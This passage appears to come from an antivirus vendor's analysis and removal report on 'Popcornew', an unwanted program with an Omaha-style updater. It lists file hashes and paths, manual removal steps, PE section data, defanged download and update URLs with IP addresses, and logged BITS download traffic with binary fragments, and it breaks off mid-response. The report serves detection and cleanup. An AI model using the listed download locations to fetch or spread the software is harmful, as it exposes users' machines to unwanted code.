6093082d0115308c25f567e41abb988fc:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_ko.dll
78d1bcd3edcd5fc5663e4b4631509e84c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_lt.dll
f161e74fe24cd829ec402e3848c87289c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_lv.dll
67d0f8626d45de75972f4de319bbddf5c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_ml.dll
5652a893027b289267d531b7c78acd3cc:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_mr.dll
4f182af2b0a92007da2d3613d17bf0ddc:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_ms.dll
3ee41d22f0d9106e8b5928bb8fe36313c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_nl.dll
3bfd6e040350845a16466c11582adaa3c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_no.dll
dfeb655b014e747f4f21042eb9239bd3c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_pl.dll
c3a2c6a0cf3e356fa4a46b86e36401dac:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_pt-BR.dll
913f01ec833f814d77a3bda615cb26a0c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_pt-PT.dll
69a73edda2f72ba5e3c65547e478ab39c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_ro.dll
3720af0e2067549a113b854e87ec7506c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_ru.dll
7270f15dfe0f15a46185d9cbf96b0520c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_sk.dll
e8432e7e9e0988346a043244655900cfc:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_sl.dll
413579c01ca8e32116ab4aaec02e6521c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_sr.dll
3147ea46657997592c3e6a15f4756b52c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_sv.dll
88030f383458968b855003e371e00281c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_sw.dll
668109511e1e08c1ee6d5f17f3853546c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_ta.dll
777d71848acc14a59dd5d611a6e462edc:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_te.dll
3eccf8514970d25c71ce9c6141c1ff08c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_th.dll
c572b4744a259a528e139c9039d1874ec:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_tr.dll
10395ac3fb8c9d9943c22b7b53862247c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_uk.dll
4c3c872839eb7d931d1d8f519db430dbc:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_ur.dll
50acf56dcb5b1f0ce30cd91834d27328c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_vi.dll
b11ac8f2b9d9178a86db16bb34c3f547c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_zh-CN.dll
c69f751aa1ef5b22f2dea4886e694504c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_zh-TW.dll
038c8a573f2775ba30f1c0ccc87de33ec:\Program Files\Popcornew\Update\1.3.25.0\npPopcornewUpdate3.dll
d972e3ee7786a0e068d5005c6ae3f002c:\Program Files\Popcornew\Update\1.3.25.0\psmachine.dll
900f2b6c0058b68c2cc955931931943dc:\Program Files\Popcornew\Update\1.3.25.0\psuser.dll
47c6119d6e902262ff4c7f61c56526e9c:\Program Files\Popcornew\Update\PopcornewUpdate.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.

Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    PopcornewUpdate.exe:752
    PopcornewUpdate.exe:2612
    PopcornewUpdate.exe:596
    PopcornewUpdate.exe:1920
    PopcornewUpdate.exe:1112
    PopcornewUpdate.exe:1252
    PopcornewUpdate.exe:1384
    %original file name%.exe:1380
    popcornew.exe:2548
    popcornew.exe:1972
    popcornew.exe:2488
    nsy2.tmp:1448
    MsiExec.exe:1520

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    %Program Files%\Popcornew\Update\Install\{6ABF9003-3091-44DE-97C3-2E25768D1354}\Popcornew_7.3.msi (43956 bytes)
    %Program Files%\Popcornew\Update\Download\{82BE43A3-77AF-4978-B081-893EF286DC00}\7.3.0.0\Popcornew_7.3.msi (43956 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_gu.dll (23 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_en.dll (22 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_cs.dll (23 bytes)
    %Program Files%\Popcornew\Update\PopcornewUpdate.exe (601 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_lt.dll (22 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_bg.dll (24 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll (5873 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_pl.dll (24 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_te.dll (23 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_am.dll (25 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_kn.dll (30 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_id.dll (22 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_no.dll (23 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_pt-BR.dll (23 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_et.dll (22 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ta.dll (30 bytes)
    %WinDir%\Tasks\PopcornewUpdateTaskMachineCore.job (906 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_es.dll (25 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_sk.dll (24 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_fil.dll (24 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_da.dll (29 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_uk.dll (29 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_hi.dll (29 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_nl.dll (30 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_en-GB.dll (28 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_th.dll (22 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_is.dll (29 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_el.dll (25 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\psmachine.dll (673 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_sw.dll (23 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_es-419.dll (23 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_mr.dll (23 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_it.dll (25 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_fr.dll (25 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ms.dll (22 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_pt-PT.dll (29 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ml.dll (26 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_zh-CN.dll (16 bytes)
    %WinDir%\Tasks\PopcornewUpdateTaskMachineUA.job (910 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ja.dll (18 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateOnDemand.exe (46 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_bn.dll (23 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\psuser.dll (673 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_hu.dll (24 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_lv.dll (30 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_fa.dll (28 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_zh-TW.dll (22 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_sl.dll (30 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_tr.dll (23 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ru.dll (23 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ro.dll (30 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ur.dll (29 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ca.dll (24 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ar.dll (20 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\npPopcornewUpdate3.dll (1281 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\PopcornewCrashHandler.exe (601 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ko.dll (18 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_sr.dll (23 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateHelper.msi (32 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_hr.dll (24 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_fi.dll (29 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdate.exe (601 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateBroker.exe (52 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_iw.dll (20 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_de.dll (25 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_sv.dll (23 bytes)
    %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_vi.dll (22 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\inetc.dll (20 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsy2.tmp (37784 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Popcornew\state (10195 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewCrashHandler.exe (113 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUT5.tmp (20507 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sl.dll (30 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_hu.dll (24 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_zh-TW.dll (22 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_bg.dll (24 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sw.dll (23 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_iw.dll (20 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_am.dll (25 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ro.dll (30 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_gu.dll (23 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_lv.dll (30 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\psmachine.dll (162 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_bn.dll (23 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_te.dll (23 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ko.dll (18 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ru.dll (23 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ca.dll (24 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ar.dll (20 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_cs.dll (23 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sv.dll (23 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdateHelper.msi (32 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_en-GB.dll (28 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_it.dll (25 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fil.dll (24 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_pt-PT.dll (29 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_el.dll (25 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdateOnDemand.exe (46 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fa.dll (28 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_pt-BR.dll (23 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\npPopcornewUpdate3.dll (235 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ta.dll (30 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_uk.dll (29 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_es-419.dll (23 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_no.dll (23 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_da.dll (29 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_es.dll (25 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_en.dll (22 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_tr.dll (23 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_nl.dll (30 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_kn.dll (30 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ms.dll (22 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ja.dll (18 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_mr.dll (23 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_id.dll (22 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ur.dll (29 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sr.dll (23 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_hr.dll (24 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fi.dll (29 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_zh-CN.dll (16 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_et.dll (22 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\psuser.dll (162 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ml.dll (26 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fr.dll (25 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_de.dll (25 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdate.exe (113 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_is.dll (29 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_lt.dll (22 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdateBroker.exe (52 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_hi.dll (29 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_pl.dll (24 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdate.dll (1990 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_th.dll (22 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_vi.dll (22 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sk.dll (24 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "Popcornew" = "%Program Files%\Popcornew\Popcornew\popcornew.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text409623628240644.46394856b32eb77dfd6fb67f21d6543272da5
.rdata28672476451203.4982dc77f8a1e6985a4361c55642680ddb4f
.data3686415471210243.32787922d4ce117d7d5b3ac2cffe4b0b5e4f
.ndata192512199475200d41d8cd98f00b204e9800998ecf8427e
.rsrc2187264253625603.13549ae905614c03e5b100b08682fa0d693ce

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:


Total found: 28
7bcde813c50a0b0e20e5f9f233bc3040
3688b56d52c66f794ee5958db04c71f0
ac4d05f3d2207cf5957a228dc262e284
fe1581d981a0b576d5cf4843ae87f909
d8613773910af27a60726708ba293fbc
5688e965607d0f7aef8a150ec71f1fe2
9ab8b7faa867cf7e1517d5038325fec5
f60056c850154bea3fd4c382dde3f297
e9cc444ccdb9c93d434a7b516ea533d5
0491b877912b7218f19f005a22019bb8
ce2460148572f45786a2d3dfc472503f
88aad697d0b2f3f5e59a7b965ff42b28
08c6ac30fea387eda82301c1ed5b723c
dfdb89cf76bb4d9d3e3b1408591221d8
05c2633314bd820841338760644b0116
6e9ae4ef3c4b2484aa18a5ab9a87c990
0d51f43eb5c5b1f9ee8b312b1eceba30
37a14fd5374bff6fdf01c547deeea36e
3a22d8f568323c83f21b4bcb81bb74fe
d8fcda5a47aac90687eed2629cf73bfb
430e9835f8492e2df69216835121003b
6a644e57d164cae7561d57c972bb4392
cff1f1ba67a97bacd1c44937e44ce9e3
2ecaf6edd97d8d664d24916607e9dd71
48530cda05dd8f6a16156b050447748c

Network Activity

URLs

URL IP
hxxp://194.150.236.158/omaha/tools/service/update2/?w=3:FhxKsJLaArjd_zthbghrY0uaS1b-UYA_hw9DIyc83gnjr3xmHIwe7FiFQqYS9SSQSeiHWwvTMUDLW5ZzSZCl4tA4W-1B_KckmtZcBDomAUALITXoizEQWBdeQcoIrq7RvOwewQ7l5M5sfbHecuR7uJkA-RfpfeWZEqeUkISS3KU
hxxp://dlmanager.net/omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi
hxxp://www.dlmanager.net/omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi194.150.236.197
hxxp://popcornew.com/client_config?id={4AF15487-35AE-472A-AFD9-733DADC4EB80}&it=1434736505
hxxp://popcornew.com/omaha/tools/service/update2/?w=3:FhxKsJLaArjd_zthbghrY0uaS1b-UYA_hw9DIyc83gnjr3xmHIwe7FiFQqYS9SSQSeiHWwvTMUDLW5ZzSZCl4tA4W-1B_KckmtZcBDomAUALITXoizEQWBdeQcoIrq7RvOwewQ7l5M5sfbHecuR7uJkA-RfpfeWZEqeUkISS3KU

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=0-5917

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:05 GMT

Content-Type: application/octet-stream

Content-Length: 5918

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:05 GMT

Cache-Control: no-cache

Content-Range: bytes 0-5917/5894144

........................>....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=5918-13970

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:08 GMT

Content-Type: application/octet-stream

Content-Length: 8053

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:08 GMT

Cache-Control: no-cache

Content-Range: bytes 5918-13970/5894144

.............................................................................................................................................................................................................................................................................................................................................................. ...!..."...#...$...%...&...'...(...)...*... ...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...{...|...}...~....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*... ...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E.

<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=13971-25344

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:11 GMT

Content-Type: application/octet-stream

Content-Length: 11374

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:11 GMT

Cache-Control: no-cache

Content-Range: bytes 13971-25344/5894144

................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=25345-36129

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:12 GMT

Content-Type: application/octet-stream

Content-Length: 10785

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:12 GMT

Cache-Control: no-cache

Content-Range: bytes 25345-36129/5894144

M.z..=...A..CEB...J...I.Y.^q3#A...r.L9.]W.r>..[.:.x.....l-.U.............k....<.......=. yI_..(^.\....q....b...g1..K..o(.h.5.......A^V..7..[*KB@\._....{..%...6.9.3fLl...%..N......\.....1.. ....T.>{. ..~...I;mI...z.h.Y......Q;.....q.V04f...K....{.b..1r3...../.e..H-.....-............gk..rh...0}.;`..6F.^..Zb'..2....dc...e.@..V...2.F.C..R^.f..0.n...3......F.O.O.Z..$5@..cm..bm.}..eM.Vx..=.<..l..>......f.6....)..a..A0.!.....#...Ny.xv...|.}G...J...p...p.'....-./..S.........2|!f.y...t ....4G.H._([.B..T.9..i...7........o..Fl..4..Y{.........w...f~A{..m...... ..fh...[k....o.=......v..].L..M....Op./.....z....A..t.}....D?=.S...<..x.x..1...>....6..7^......].{......1......G.L..I..K4......v....B..&:..xA\...%.K....n....2...v...*..k>....N...u....P.Im...I...$..l?.`..X.e...|2..o.......;...."'....*.......l.a.b\......]j.%.{....3...{.e....0.u .Oq.YsY..i....K..Qs]Ot.m...../K.r...w..~.[#.|..l..J_.-`.l.......c.S........p.^...{.........D-.\3.^.gq%..J.......GS....KQ6.:..H.....jKR/..Y....d......&..T.,.f.y.r.....F.<..94.Y4=L:W..=...UF..tMLQn..)..g...AX........#.#......._._0R]&._G...;...VLBr@.... ..2....|...k..%e."........:..r..Wn...3..6.......:....?.. .N..?U.......C.....>I.k.&.......V.`....}...AVa.UX&a.6.3..--....4c..~....Z<.....c..o{..Z....U.`......{.v......^.F.{h....W.[T`..oi....Ffg...>....~.....`=..........k..{......g8..-...RwO#....xh.......75......DMr......s......"9.....IVms.....q.Vf.[.e..j.;..#.....%.u........!.t_..M.\X>....O.....'..../.`.........b.......W...A...F.W....4i.39oL.h.Rw..u<V.b...G/

<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=36130-59379

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:13 GMT

Content-Type: application/octet-stream

Content-Length: 23250

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:13 GMT

Cache-Control: no-cache

Content-Range: bytes 36130-59379/5894144

..5.{..Nt'^....._...Ny...&,..Ro.h~...K...).Z-y...p3>.....|..X....`6.~...0N.*....w.Q.=YX....ff.F.e...:....E)..KW\. .@dB.R-......c.,.U. .C...S..$..Z-.^W....r......Y".0O..tc~J...U.$.......X.My.ij#.*5.UI.......d ..o....\{...1.....t1yB...\W...'..E..=.9.~.F.7.p......{K.....s....EQB.?.J%3h.n!.w.,.p.....9.....W._.M......,. g.|9.....b/ ...'..........to.."0R%... ....<YZ?.!o...s...k.:...vN...t."...._.].x........JX..E3u%.I...$|S.O....._...._.i....D.J_.8..A.h .!q,.....< ......%.....[..M...~...c......(.. ....|...B3....D..b....car(.n O...........D..Hh..FR8...p.a....k..#..&...\IM..k.|..^lJ...;.....l.C`.....l......~ L.%5....:....~&>Y..Q.UQ...^>v...4"S .......T...(,}."e..0...e......aM(...6..w..35..l.:.NF.|.z]..^....e......J.I..-.xI......~;...Ym.6..*......p.......D.\.....\'..)}...........=.^m......h(...<....@....6.;.)..B..... &.u{.$r....$...N.8......*.A:...b.Qb$.?..*..z...Q...1........./.S(.0....A'E...HC..Y.."..=.lG.n.A.R.).oG.^8.Q....9>..........t..m;......Yk...........-......S>. ...._1....r..@ T!.. f.8:.T.....:i.....(..W3H5...=^...w...AZ..g`......r..8[~..Gly~.8.F..H..g.].}>\.S...g...W..p....QD...._..zD...SP....eJ.f...V.)...6....vp...`...t..<...}:!...C...{<..^.NQ.....<........a..c'.b ...m;..].bR...@9. 6.......y.._`[..H..,\.w....N.....]...bh.I..e...............[H....e .{m.A..X.{......i.M..a6..Ad...n...G9.w....C.$...@w.Q>..x.C.T[../...l..S...ec.Y.*..Ur. .B......6..!..%&...ofSM.lx....J..vp.JW.(..;Q..h.N~.5...8.qB..XZ..vU<``.u;a...5.7..A4..8c......d.M.g2.N...Q.7...A..5..pa9..`65.D ..]..k.!.?

<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=59380-106509

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:14 GMT

